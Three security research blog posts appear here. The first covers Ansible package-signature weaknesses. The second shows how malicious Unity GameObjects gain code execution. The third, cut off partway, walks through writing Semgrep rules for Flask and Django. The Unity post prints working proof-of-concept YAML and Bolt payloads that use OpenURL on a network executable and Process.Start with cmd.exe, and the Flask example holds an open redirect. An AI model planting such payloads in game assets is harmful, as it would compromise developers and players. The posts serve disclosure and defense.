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Hack Series: Is your Ansible Package Configuration Secure?

In our client assessment work hacking software and cloud systems of all types, we’re often asked to look into configuration management tools such as Ansible. In this post we’ll deep dive into what package management vulnerabilities in the world of Ansible look like. First we’ll recap what Ansible is, provide some tips for security pros to debug it at a lower level, and explore both a CVE in the dnf module and an interesting gotcha in the apt module.

To ensure we’re always looking out for DevSecOps and aiding defenders, our next post in this series will touch on the strengths and weaknesses of tools like Semgrep for catching vulnerabilities in Ansible configurations.

Ansible

Ansible is an open source, Python-based, configuration management tool developed by Red Hat. It enables DevOps and other system maintainers to easily write automation playbooks, composed of a series of tasks in YAML format, and then run those playbooks against targeted hosts.

A key feature of Ansible is that it is agentless: the targeted hosts don’t need to have Ansible installed, just Python and SSH. The machine running the playbook (“control node” in Ansible speak) copies the Python code required to run the tasks to the targeted hosts (“managed nodes”) over SSH, and then executes that code remotely. Managed nodes are organized into groups in an “inventory” for easy targeting by playbooks.

Credit: codingpackets.com

In 2019 Ansible was the most popular cloud configuration management tool. While the paradigm of “immutable infrastructure” has led to more enthusiasm for choosing Terraform and Docker for performing several tasks that previously might have been done by Ansible, it is still an immensely popular tool for provisioning resources, services, and applications.

Ansible provides a large number of built-in modules, which are essentially high-level interfaces for calling common system commands like apt, yum, or sysctl. The modules are Python files that do the work of translating the specified YAML tasks into the commands that actually get executed on the managed nodes. For example, the following playbook contains a single Ansible task which uses the apt module to install NGINX on a Debian-based system. Normally an Ansible playbook would be run against a remote host, but in our examples we are targeting localhost for illustrative purposes:

- name: Sample Apt Module Playbook
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx
        state: present

To understand better what this playbook is doing under the hood, let’s use a debugging technique that will come in useful when we look at vulnerabilities later. Since Ansible doesn’t natively provide a way to see the exact commands getting run, we can use a handy strace invocation. strace allows us to follow the flow of system calls that this playbook triggers when run normally under ansible-playbook, even as Ansible forks off multiple child processes (“-f” flag), so we can view the command that ultimately gets executed:

$ sudo strace -f -e trace=execve ansible-playbook playbook.yml 2>&1 | grep apt
[pid 11377] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "install", "nginx"], 0x195b3e0 /* 33 vars */) = 0

Using both strace command line options ("-e trace=execve“) and grep as filters, we are making sure that irrelevant system calls are not output to the terminal; this avoids the noise of all the setup code that both Ansible and the apt module need to run before finally fulfilling the task. Ultimately we can see that the playbook runs the command apt-get install nginx, with a few extra command line flags to automate accepting confirmation prompts and interactive dialogues.

If you are following along and don’t see the apt-get install command in the strace output, make sure NGINX is uninstalled first. To improve performance and prevent unwanted side-effects, Ansible first checks whether a task has already been achieved, and so returns early with an “ok” status if it thinks NGINX is already in the installed state.

Top 10 Tips for Ansible Security Audits

As shown, Ansible transforms tasks declared in simple YAML format into system commands often run as root on the managed nodes. This layer of abstraction can easily turn into a mismatch between what a task appears to do and what actually happens under the hood. We will explore where such mismatches in Ansible’s built-in modules make it possible to create configuration vulnerabilities across all managed nodes.

But first, let’s take a step back and contextualize this by running through general tips if you are auditing an Ansible-managed infrastructure. From an infrastructure security perspective, Ansible does not expose as much attack surface as some other configuration management tools. SSH is the default transport used to connect from the control node to the managed nodes, so Ansible traffic takes advantage of the sane defaults, cryptography, and integration with Linux servers that the OpenSSH server offers. However, Ansible can be deployed in many ways, and best practices may be missed when writing roles and playbooks. Here are IncludeSec’s top 10 Ansible security checks to remember when reviewing a configuration:

  1. Is an old version of Ansible being used which is vulnerable to known CVEs?
  2. Are hardcoded secrets checked into YAML files?
  3. Are managed nodes in different environments (production, development, staging) not appropriately separated into inventories?
  4. Are the control nodes which Ansible is running from completely locked down with host/OS based security controls?
  5. Are unsafe lookups which facilitate template injection enabled?
  6. Are SSHD config files using unrecommended settings like permitting root login or enabling remote port forwarding?
  7. Are alternative connection methods being used (such as ansible-pull) and are they being appropriately secured?
  8. Are the outputs of playbook runs being logged or audited by default?
  9. Is the confidential output of privileged tasks being logged?
  10. Are high-impact roles/tasks (e.g. those that are managing authentication, or installing packages) actually doing what they appear to be?

Whether those tips apply will obviously vary depending on whether the organization is managing Ansible behind a tool like Ansible Tower, or if it’s a startup where all developers have SSH access to production. However, one thing that remains constant is that Ansible is typically used to install packages to setup managed nodes, so configuration vulnerabilities in package management tasks are of particular interest. We will focus on cases where declaring common package management operations in Ansible YAML format can have unintended security consequences.

CVE-2020-14365: Package Signature Ignored in dnf Module

The most obvious type of mismatch between YAML abstraction and reality in an Ansible module would be an outright bug. A recent example of this is CVE-2020-14365. The dnf module installs packages using the dnf package manager, the successor of yum and the default on Fedora Linux. The bug was that the module didn’t perform signature verification on packages it downloaded. Here is an example of a vulnerable task when run on Ansible versions <2.8.15 and <2.9.13:

- name: The task in this playbook was vulnerable to CVE-2020-14365
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      dnf:
        name: nginx
        state: present

The vulnerability is severe when targeted by advanced attackers; an opening for supply-chain attack. The lack of signature verification makes it possible for both the package mirror and man-in-the-middle (MITM) attackers on the network in between to supply their own packages which execute arbitrary commands as root on the host during installation.

For more details about how to perform such an attack, this guide walks through injecting backdoored apt packages from a MITM perspective. The scenario was presented a few years ago on a HackTheBox machine.

The issue is exacerbated by the fact that in most cases on Linux distros, GPG package signatures are the only thing giving authenticity and integrity to the downloaded packages. Package mirrors don’t widely use HTTPS (see Why APT does not use HTTPS for the justification), including dnf. With HTTPS transport between mirror and host, the CVE is still exploitable by a malicious mirror but at least the MITM attacks are a lot harder to pull off. We ran a quick test and despite Fedora using more HTTPS mirrors than Debian, some default mirrors selected due to geographical proximity were HTTP-only:

The root cause of the CVE was that the Ansible dnf module imported a Python module as an interface for handling dnf operations, but did not call a crucial _sig_check_pkg() function. Presumably, this check was either forgotten or assumed to be performed automatically in the imported module.

Package Signature Checks Can be Bypassed When Downgrading Package Versions

The dnf example was clearly a bug, now patched, so let’s move on to a more subtle type of mismatch where the YAML interface doesn’t map cleanly to the desired low-level behavior. This time it is in the apt package manager module and is a mistake we have seen in several production Ansible playbooks.

In a large infrastructure, it is common to install packages from multiple sources, from a mixture of official distro repositories, third-party repositories, and in-house repositories. Sometimes the latest version of a package will cause dependency problems or remove features which are relied upon. The solution which busy teams often choose is to downgrade the package to the last version that was working. While downgrades should never be a long-term solution, they can be necessary when the latest version is actively breaking production or a package update contains a bug.

When run interactively from the command line, apt install (and apt-get install, they are identical for our purposes) allows you to specify an older version you want to downgrade to, and it will do the job. But when accepting confirmation prompts automatically (in “-y” mode, which Ansible uses), apt will error out unless the --allow-downgrades argument is explicitly specified. Further confirmation is required since a downgrade may break other packages. But the Ansible apt module doesn’t offer an --allow-downgrades option equivalent; there’s no clear way to make a downgrade work using Ansible.

The first Stackoverflow answer that comes up when searching for “ansible downgrade package” recommends using force: true (or force: yes which is equivalent in YAML):

- name: Downgrade NGINX in a way that is vulnerable
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx=1.14.0-0ubuntu1.2
        force: true
        state: present

This works fine, and without follow-up, this pattern can become a fixture of the configuration which an organization runs regularly across hosts. Unfortunately, it creates a vulnerability similar to the dnf CVE, disabling signature verification.

To look into what is going on, let’s use the strace command line to see the full invocation:

$ sudo strace -f -e trace=execve ansible-playbook apt_force_true.yml 2>&1 | grep apt
[pid 479683] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "--force-yes", "install", "nginx=1.14.0-0ubuntu1.2"], 0x1209b40 /* 33 vars */) = 0

The force: true option has added the --force-yes parameter (as stated in the apt module docs). --force-yes is a blunt hammer that will ignore any problems with the installation, including a bad signature on the downloaded package. If this same apt-get install command is run manually from the command line, it will warn: --force-yes is deprecated, use one of the options starting with --allow instead. And to Ansible’s credit, it also warns in the docs that force “is a destructive operation with the potential to destroy your system, and it should almost never be used.”

So why is use of force: true so prevalent across Ansible deployments we have seen? It’s because there’s no easy alternative for this common downgrade use-case. There are only unpleasant workarounds involving running the full apt install command line using the command or shell modules, before either Apt Pinning or dpkg holding, native methods in Debian-derived distros to hold a package at a previous version, can be used.

On the Ansible issue tracker, people have been asking for years for an allow_downgrade option for the apt module, but two separate pull requests have been stuck in limbo because they do not meet the needs of the project. Ansible requires integration tests for every feature, and they are difficult to provide for this functionality since Debian-derived distros don’t normally host older versions of packages in their default repositories to downgrade to. The yum and dnf modules have had an allow_downgrade option since 2018.

Fixing the Problem

At IncludeSec we like to contribute to open source where we can, so we’ve opened a pull request to resolve this shortcoming of the apt module. This time, the change has integration tests and will hopefully meet the requirements of the project and get merged!

(Update: Our PR was accepted and usable as of Ansible Core version 2.12)

The next part of this series will explore using Semgrep to identify this vulnerability and others in Ansible playbooks. We’ll review the top 10 Ansible security audits checks presented and see how much of the hard work can be automated through static analysis. We’ve got a lot more to say about this, stay tuned for our next post on the topic!

The post Hack Series: Is your Ansible Package Configuration Secure? appeared first on Include Security Research Blog.

Hacking Unity Games with Malicious GameObjects

At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with a bit of a novel approach which may allow attacking Unity-powered games and game devs.

Specifically, this post will outline:

  • Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
  • Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
  • How game developers can mitigate the risk.

Unity has also published their own blog post on this subject, they’ve been great to work with and continue to make moves internally to maximize the security of their platform. Be sure to check that post out for specific recommendations on how to protect against this sort of vulnerability.

Terminology

First a brief primer on the terms I’m going to use for those less familiar with Unity.

  • GameObjects are entities in Unity that can have any number of components attached.
  • Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
  • Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
  • AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.

Ways a malicious GameObject could get into a game

Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:

Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.

Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.

Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:

UnityWebRequest uwr = UnityWebRequestAssetBundle.GetAssetBundle("http://www.my-server.com/mybundle")

In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.

Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.

Unity has this to say about certificate validation when using UnityWebRequests:

Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.

According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:

Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.

I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.

Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.

Crafting malicious GameObjects

I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.

So, how can non-script assets get code execution?

Method 1: UnityEvents

Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component

One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:

First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.

Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 1978173272}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: 11500000, guid: d0b148fe25e99eb48b9724523833bab1, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  m_Delegates:
  - eventID: 4
    callback:
      m_PersistentCalls:
        m_Calls:
        - m_Target: {fileID: 963194228}
          m_TargetAssemblyTypeName: UnityEngine.Component, UnityEngine
          m_MethodName: SendMessage
          m_Mode: 5
          m_Arguments:
            m_ObjectArgument: {fileID: 0}
            m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
            m_IntArgument: 0
            m_FloatArgument: 0
            m_StringArgument: asdf
            m_BoolArgument: 0
          m_CallState: 2

The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.

Technical details

UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.

The important fields in the above YAML are:

  • eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
  • m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
  • m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
    • 0 – UnityEventCallState.Off
    • 1 – UnityEventCallState.EditorAndRuntime
    • 2 – UnityEventCallState.RuntimeOnly
  • m_mode — Determines the argument type of the called function.
    • 0 – EventDefined
    • 1 – Void,
    • 2 – Object,
    • 3 – Int,
    • 4 – Float,
    • 5 – String,
    • 6 – Bool
  • m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.

Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:

objectType.GetMethod(functionName, BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static, null, argumentTypes, null);

With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.

Exploitation

My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things™. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.

I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload. 

Below is the event definition I used  in the object YAML:

- m_Target: {fileID: 0}
  m_TargetAssemblyTypeName: UnityEngine.Application, UnityEngine
  m_MethodName: OpenURL
  m_Mode: 5
  m_Arguments:
    m_ObjectArgument: {fileID: 0}
    m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
    m_IntArgument: 0
    m_FloatArgument: 0
    m_StringArgument: file://JASON-INCLUDESE/shared/calc.exe
    m_BoolArgument: 0
  m_CallState: 2

It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:

This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?

Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.

For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:

#include <stdio.h>;
int main() {
  FILE* fp = fopen("/tmp/hello");
  fprintf(fp, "hello there");
  fclose(fp);
  return 0;
}

I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:

m_OnClick:
  m_PersistentCalls:
    m_Calls:
    - m_Target: {fileID: 0}
      m_TargetAssemblyTypeName: UnityEditor.EditorUtility, UnityEditor
      m_MethodName: OpenWithDefaultApp
      m_Mode: 5
      m_Arguments:
        m_ObjectArgument: {fileID: 0}
        m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
        m_IntArgument: 0
        m_FloatArgument: 0
        m_StringArgument: Assets/hello
        m_BoolArgument: 0
      m_CallState: 2

It now executes the executable when you click the button:

This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)

After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things™. This is just a small sampling:

Unity.CodeEditor.CodeEditor.SetExternalScriptEditor()Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll()Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete()Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot()Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
UnityEditor.PlayerSettings.SetAdditionalIl2CppArgs()Add flags to be passed to the Il2Cpp compiler.
UnityEditor.BuildPlayerWindow.BuildPlayerAndRun()Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit()Quit out of the game/editor.

Method 2: Visual scripting systems

There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free. 

This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.

With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:

The YAML looks like:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 2032548220}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: -57143145, guid: a040fb66244a7f54289914d98ea4ef7d, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  _data:
    _json: '{"nest":{"source":"Embed","macro":null,"embed":{"variables":{"collection":{"$content":[],"$version":"A"},"$version":"A"},"controlInputDefinitions":[],"controlOutputDefinitions":[],"valueInputDefinitions":[],"valueOutputDefinitions":[],"title":null,"summary":null,"pan":{"x":117.0,"y":-103.0},"zoom":1.0,"elements":[{"coroutine":false,"defaultValues":{},"position":{"x":-204.0,"y":-144.0},"guid":"a4dcd43b-833d-49f5-8642-b6c311cf324f","$version":"A","$type":"Bolt.Start","$id":"10"},{"chainable":false,"member":{"name":"OpenURL","parameterTypes":["System.String"],"targetType":"UnityEngine.Application","targetTypeName":"UnityEngine.Application","$version":"A"},"defaultValues":{"%url":{"$content":"https://includesecurity.com","$type":"System.String"}},"position":{"x":-59.0,"y":-145.0},"guid":"395d9bac-f1da-4173-9e4b-b19d156c9a0b","$version":"A","$type":"Bolt.InvokeMember","$id":"12"},{"sourceUnit":{"$ref":"10"},"sourceKey":"trigger","destinationUnit":{"$ref":"12"},"destinationKey":"enter","guid":"d9cae7fd-e05b-48c6-b16d-5f04b0c722a6","$type":"Bolt.ControlConnection"}],"$version":"A"}}}'
    _objectReferences: []

The _json field seems to be where the meat is. Un-minifying it and focusing on the important parts:

[...]
  "member": {
    "name": "OpenURL",
    "parameterTypes": [
        "System.String"
    ],
    "targetType": "UnityEngine.Application",
    "targetTypeName": "UnityEngine.Application",
    "$version": "A"
  },
  "defaultValues": {
    "%url": {
        "$content": "https://includesecurity.com",
        "$type": "System.String"
    }
  },
[...]

It can be changed from here to a version that runs arbitrary shell commands using System.Diagnostics.Process.Start:

[...]
{
  "chainable": false,
  "member": {
    "name": "Start",
    "parameterTypes": [
        "System.String",
        "System.String"
    ],
    "targetType": "System.Diagnostics.Process",
    "targetTypeName": "System.Diagnostics.Process",
    "$version": "A"
  },
  "defaultValues": {
    "%fileName": {
        "$content": "cmd.exe",
        "$type": "System.String"
    },
    "%arguments": {
         "$content": "/c calc.exe",
         "$type": "System.String"
    }
  },
[...]

This is what that looks like now in Unity:

A malicious GameObject imported into a project that uses Bolt can do anything it wants.

How to prevent this

Third-party assets

It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator). 

AssetBundles

When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:

If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle. 

If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.

When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:

private static void SanitizePrefab(GameObject prefab)
{
    System.Type[] badComponents = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(Bolt.FlowMachine),
        typeof(Bolt.StateMachine),
        typeof(UnityEngine.EventSystems.UIBehaviour)
    };

    foreach (var componentType in badComponents) {
        foreach (var component in prefab.GetComponentsInChildren(componentType, true)) {
            DestroyImmediate(component, true);
        }
    }
}

public static Object SafeInstantiate(GameObject prefab)
{
    SanitizePrefab(prefab);
    return Instantiate(prefab);
}

public void Load()
{
    AssetBundle ab = AssetBundle.LoadFromFile(Path.Combine(Application.streamingAssetsPath, "evilassets"));

    GameObject evilGO = ab.LoadAsset<GameObject>("EvilGameObject");
    GameObject evilBolt = ab.LoadAsset<GameObject>("EvilBoltObject");
    GameObject evilUI = ab.LoadAsset<GameObject>("EvilUI");

    SafeInstantiate(evilGO);
    SafeInstantiate(evilBolt);
    SafeInstantiate(evilUI);

    ab.Unload(false);
}

Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.

If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.”  Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.

In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.

As mentioned above, if you’d like to read more about Unity’s blog for this and their recommendations, be sure to check out their blog post!

The post Hacking Unity Games with Malicious GameObjects appeared first on Include Security Research Blog.

Customizing Semgrep Rules for Flask/Django and Other Popular Web Frameworks

We customize and use Semgrep a lot during our security assessments at IncludeSec because it helps us quickly locate potential areas of concern within large codebases. Static analysis tools (SAST) such as Semgrep are great for aiding our vulnerability hunting efforts and usually can be tied into Continuous Integration (CI) pipelines to help developers catch potential vulnerabilities early in the development process.  In a previous post, we compared two static analysis tools: Brakeman vs. Semgrep. A key takeaway from that post is that when it comes to custom rules, we found that Semgrep was easy to use.

The lovely developers of Semgrep, as well as the general open source community provide pre-written rules for many frameworks that can be used with extreme ease–all it requires is a command line switch and it works. For example:

semgrep --config "p/flask"

Running this on its own can catch bad practices and mistakes. However, writing custom rules can expand Semgrep’s out-of-the-box functionality significantly and is done by advanced security assessors who understand code level security concerns. Whether you want to add rules that look for more specific problems or similar rules with a bigger scope, it’s up to the end-user rule writer to expand in whichever direction they want.

In this post, we walk through some scenarios to write custom Semgrep rules for two popular Python frameworks: Django and Flask.

Why Write Custom Rules for Frameworks?

We see a lot of applications built on top of frameworks like Django and Flask and wanted to prevent duplicative manual effort to identify similar patterns of security concerns on every assessment. While the default community rules are very good in Semgrep, at IncludeSec we needed more than that. Making use of Semgrep’s powerful rules system makes it possible to extend these to cover even more sources of bugs related to framework usage, such as:

  • vulnerabilities caused by use of specific deprecated APIs
  • vulnerabilities caused by lack of error checking in specific patterns
  • vulnerabilities introduced due to lack of locking/mutexes
  • specific combinations of API calls that can cause inefficiencies or loss of performance, or even introduce race conditions

If any of these issues occur frequently on specific APIs then Semgrep is ideal since a one time investment will pay off dividends in future development process.

Making Use of Frameworks 

For developers, using frameworks like Django and Flask make coding easier and more secure. But they aren’t foolproof. If you use them incorrectly, it is still possible to make mistakes. And for each framework, these mistakes tend to follow common patterns.

SAST tools like Semgrep offer the possibility of automating checks for some of these patterns of mistakes to find vulnerabilities that may be common within a framework. 

An analogy for SAST tooling is a compiler whose warnings/errors you can configure extremely easily. This makes it a perfect fit when programming specific frameworks, as you can catch potentially dangerous usages of APIs & unsafe operations before code is ever committed. For auditors it is extremely helpful when working with large codebases, which can be daunting at first due to the sheer amount of code. SAST tooling can locate security “codesmells”, and where there is codesmell, there are often leads to possible security concerns.

Step 1. Find patterns of mistakes

In order to write custom rules for a framework, you first have to do some research to identify where in the framework mistakes might occur.

The first place to look when identifying bad habits is the official documentation — often one can find big blocks of formatting with the words WARNING, ERROR, MISTAKE. These blocks can often clue you into common problems with examples, avoiding time wasted searching forums/Stack Overflow posts for common bugs.

The next place to search where one can find real world practical examples would be bug bounty platforms, such as HackerOne, BugCrowd, etc. Searching these platforms can result in quite niche but severe mistakes that might not be in official documentation but can occur in live production applications.

Finally, intentionally vulnerable “hack me” applications such as django.nV, which explain common vulnerabilities that might occur. With concise, straightforward exercises that one can do to learn and also hammer in the impact of the bugs at hand.

For example, in the Flask documentation for logins https://flask-login.readthedocs.io/en/latest/#login-example , a warning block mentions that 

Warning: You MUST validate the value of the next parameter. If you do not, your application will be vulnerable to open redirects. For an example implementation of is_safe_url see this Flask Snippet.

This block warns us about open redirects in the specific login situation it presents, we’ll use something similar for our vulnerable code example: an open redirect where the redirect parameter comes from a url encoded GET request.

Step 2. Identify the pieces of information and the markers in your code

When writing rules, we have to identify the pieces of information that the specific code encodes. This way we can ensure that the patterns we write will be as accurate as possible. Let’s look at an example from Flask:

from flask import redirect
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
    return redirect(uri)

